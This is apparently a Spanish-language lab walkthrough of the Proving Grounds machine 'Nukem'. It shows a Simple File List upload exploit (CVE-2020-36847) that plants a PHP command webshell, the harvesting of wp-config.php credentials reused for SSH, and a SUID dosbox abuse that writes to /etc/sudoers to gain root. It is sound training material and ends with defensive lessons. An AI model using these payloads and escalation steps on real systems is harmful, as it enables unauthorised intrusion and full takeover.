the_open_door
café
ESEN

Nukem

Proving Grounds PracticeMediaLinux192.168.118.105

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#wordpress#simple-file-list#cve-2020-36847#file-upload#rce#wp-config#credential-disclosure#suid#dosbox#vnc#oscp
TL;DR. Nukem corre un WordPress con el plugin Simple File List 4.2.2, vulnerable a una subida de ficheros arbitraria que deriva en RCE (CVE-2020-36847); el exploit 48979.py sube una webshell PHP y ejecutamos como el usuario http. El wp-config.php filtra las credenciales commander:CommanderKeenVorticons1990 (credenciales en el código), válidas por SSH. Para escalar, /usr/bin/dosbox tiene el bit SUID: como DOSBox necesita un display gráfico, túnel SSH al VNC en 5901 y, desde ahí, el emulador escribe en /etc/sudoers como root (abuso de dosbox SUID); con sudo total, sudo su da root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

ping -c 1 192.168.118.105
64 bytes from 192.168.118.105: icmp_seq=1 ttl=61 time=29.7 ms

Barremos todos los puertos TCP y, sobre los abiertos, identificamos versiones:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.118.105
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
3306/tcp  open  mysql
5000/tcp  open  http
13000/tcp open  http
36445/tcp open  netbios-ssn
nmap -p22,80,3306,5000,13000,36445 -sCV 192.168.118.105 -oN targetedScan
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 8.3 (protocol 2.0)
80/tcp    open  http        Apache httpd 2.4.46 ((Unix) PHP/7.4.10)
3306/tcp  open  mysql       MariaDB 10.3.24 or later (unauthorized)
5000/tcp  open  http        Werkzeug httpd 1.0.1 (Python 3.8.5)
13000/tcp open  http        nginx 1.18.0 (Login V14)
36445/tcp open  netbios-ssn Samba smbd 4

Hay varios servicios web, pero el del 80 se identifica solo: http-generator: WordPress 5.5.1, con título "Retro Gamming". Un WordPress es casi siempre un buen punto de partida por sus plugins.

HTTP - TCP 80

Enumeramos WordPress con wpscan. Entre los plugins detectados destaca simple-file-list en una versión antigua:

wpscan --url http://192.168.118.105/
[+] simple-file-list
 | Location: http://192.168.118.105/wp-content/plugins/simple-file-list/
 | Version: 4.2.2 (100% confidence)

La versión 4.2.2 de Simple File List arrastra una vulnerabilidad pública. La buscamos:

searchsploit 'Simple File List'
searchsploit -m php/webapps/48979.py
WordPress Plugin Simple File List 4.2.2 - Arbitrary File Upload  |  php/webapps/48979.py

RCE como http

Simple File List 4.2.2: subida arbitraria a RCE (CVE-2020-36847)

La técnica (CVE-2020-36847) abusa de que el plugin permite subir un fichero (en apariencia una imagen .png) y luego renombrarlo a .php, sorteando el filtro de extensión. El exploit 48979.py automatiza los tres pasos (subir, mover, confirmar); lo editamos para que el payload sea una webshell sencilla en vez de la contraseña que trae por defecto:

payload = '<?php system($_GET["cmd"]);?>'

Lo lanzamos y comprobamos la ejecución con un id:

python3 rce.py http://192.168.118.105
curl http://192.168.118.105//wp-content/uploads/simple-file-list/466.php?cmd=id

Exploit 48979.py: sube 466.png, lo mueve a 466.php y el curl con cmd=id devuelve uid=33(http)

[+] Exploit seem to work.
uid=33(http) gid=33(http) groups=33(http)

Tenemos ejecución de comandos como http (el usuario del servidor web). Es RCE vía la webshell, suficiente para enumerar el sistema de ficheros sin necesidad aún de una shell interactiva.

Shell como commander

wp-config.php: credenciales -> SSH

Todo WordPress guarda las credenciales de su base de datos en wp-config.php. Localizamos la raíz del sitio y leemos el fichero a través de la webshell:

curl "http://192.168.118.105/wp-content/uploads/simple-file-list/466.php?cmd=pwd"
curl "http://192.168.118.105/wp-content/uploads/simple-file-list/466.php?cmd=cat%20/srv/http/wp-config.php"
/srv/http/wp-content/uploads/simple-file-list
...
define( 'DB_USER', 'commander' );
define( 'DB_PASSWORD', 'CommanderKeenVorticons1990' );

El wp-config.php filtra el usuario y la contraseña de la base de datos (credenciales en el código). La reutilización de contraseñas es lo primero que se prueba (reutilizarlas entre servicios es lo habitual): esas mismas credenciales abren una sesión SSH como commander:

ssh commander@192.168.118.105

Login SSH como commander en nukem usando la contraseña de wp-config.php; whoami devuelve commander

commander@192.168.118.105's password:
Last login: Mon Jan  5 20:10:21 2026 from 192.168.45.227
[commander@nukem ~]$ whoami
commander

Ya con shell interactiva, leemos la primera prueba:

cat /home/commander/local.txt && ip a && whoami && hostname

local.txt leido como commander en nukem, con la IP 192.168.118.105 y hostname nukem

c9754d9ade414bc72eafbe718409a888

Escalada de privilegios

SUID dosbox vía sesión VNC

Buscamos binarios con el bit SUID y aparece uno poco habitual:

find / -perm -4000 2>/dev/null
/usr/bin/dosbox

El nombre no dice gran cosa por sí solo, así que el primer paso es averiguar qué hace ese binario:

Búsqueda what is dosbox: un emulador x86 libre y de código abierto que crea un entorno virtual de MS-DOS

DOSBox is a free, open-source x86 emulator that creates a virtual MS-DOS environment, allowing users to
run old DOS games and applications on modern operating systems like Windows, macOS, and Linux.

Ahí está la clave: DOSBox es un emulador de MS-DOS que puede montar directorios del anfitrión y escribir ficheros; con SUID de root, todo lo que escriba lo escribe como root (abuso de dosbox SUID). La técnica está documentada, y sus requisitos explican el rodeo que viene:

Guía de explotación de dosbox: requiere el bit SUID (o sudo) y recomienda un entorno gráfico X11; los pasos montan la raíz como unidad y escriben sobre un fichero del sistema

Requirements:
dosbox has SUID bit, or user can run as sudo
Recommended to use with X11 GUI if possible

1) Connect via SSH using X11
2) Create our superroot user to overwrite the /etc/passwd file
3) Run dosbox
4) In dosbox GUI, Overwrite /etc/passwd file
     mount d /
     D:
     type D:\HOME\USER\FKPASSWD >> D:\ETC\PASSWD
5) Get root

El esquema es siempre el mismo: montar la raíz como una unidad DOS y volcar texto sobre un fichero privilegiado (el /etc/passwd de la guía, o el /etc/sudoers que usaremos aquí). Pero el requisito del entorno gráfico es real: DOSBox no arranca sin un servidor X. Revisando los puertos en escucha local aparece un VNC atado a localhost:

netstat -tuln

netstat -tuln en nukem mostrando 127.0.0.1:5901 en estado LISTEN (servidor VNC local)

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:36445           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:13000           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:5901          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN

Entre los servicios locales aparece un VNC atado a 127.0.0.1:5901.

El 127.0.0.1:5901 es un servidor VNC accesible solo desde la propia máquina. Lo exponemos con un túnel SSH y nos conectamos con un cliente VNC para tener un escritorio donde lanzar el emulador:

ssh -L 5901:localhost:5901 commander@192.168.118.105
vncviewer 127.0.0.1:5901

Cliente vncviewer conectado a 127.0.0.1:5901; autenticacion correcta y escritorio nukem:1 (commander) con una terminal

Connected to RFB server, using protocol version 3.8
Performing standard VNC authentication
Authentication successful
Desktop name "nukem:1 (commander)"

El cliente autentica y abre el escritorio nukem:1 (commander) con una terminal gráfica.

Desde la terminal de esa sesión gráfica, ejecutamos el dosbox SUID para montar la raíz como unidad C: y añadir una línea a /etc/sudoers que conceda a commander sudo total. Como dosbox corre con privilegios de root, la escritura tiene éxito:

LFILE='/etc/sudoers'
dosbox -c 'mount c /' -c "echo commander ALL=(ALL:ALL) ALL >> C:$LFILE" -c exit

Comprobamos el nuevo permiso y saltamos a root:

sudo -l
sudo su

En la terminal VNC, tras la escritura con dosbox, sudo -l muestra (ALL : ALL) ALL y sudo su deja un prompt root@nukem

User commander may run the following commands on nukem:
    (ALL : ALL) ALL

Leemos la prueba final:

cat /root/proof.txt && hostname && whoami && ip a

proof.txt leido como root en nukem, con hostname nukem y whoami root

58c4a281aea2a664aebcc73e7c4e9622

Cadena de ataque

WordPress 5.5.1 (TCP 80)  +  plugin Simple File List 4.2.2
        │  subida arbitraria + rename a .php  ──  CVE-2020-36847  ──  webshell (48979.py)
        ▼
RCE como http
        │  cat /srv/http/wp-config.php  ->  commander:CommanderKeenVorticons1990
        │  reutilizacion de contrasena  ->  SSH
        ▼
shell como commander  (local.txt)
        │  SUID /usr/bin/dosbox  +  VNC local 5901 (tunel SSH)
        │  dosbox monta / y escribe en /etc/sudoers  ->  sudo total
        ▼
sudo su  ->  shell como root  (proof.txt)

Lecciones aprendidas

  • Los plugins son la superficie real de un WordPress. El núcleo estaba razonablemente al día (5.5.1), pero Simple File List 4.2.2 abría una subida arbitraria. Mantener todos los plugins actualizados (o retirar los que no se usen) es tan importante como parchear el CMS.
  • wp-config.php es un objetivo de oro. Guarda en claro las credenciales de la base de datos, y aquí esas mismas valían para SSH: la reutilización de contraseñas convirtió una RCE limitada en acceso de usuario. Credenciales distintas por servicio habrían cortado el pivote.
  • Un binario SUID inesperado merece una mirada. dosbox no tiene por qué correr como root; con SUID, su capacidad de montar y escribir ficheros lo convierte en escritura arbitraria como root (GTFOBins).
  • A veces la privesc exige resolver primero un requisito de entorno. DOSBox necesitaba un display; el VNC estaba solo en localhost, así que hubo que tunelizarlo por SSH antes de poder abusar del SUID. Reconocer ese paso intermedio (un servicio atado a 127.0.0.1) es parte del trabajo.
Cheatsheet de comandos 12 comandos

Repaso rápido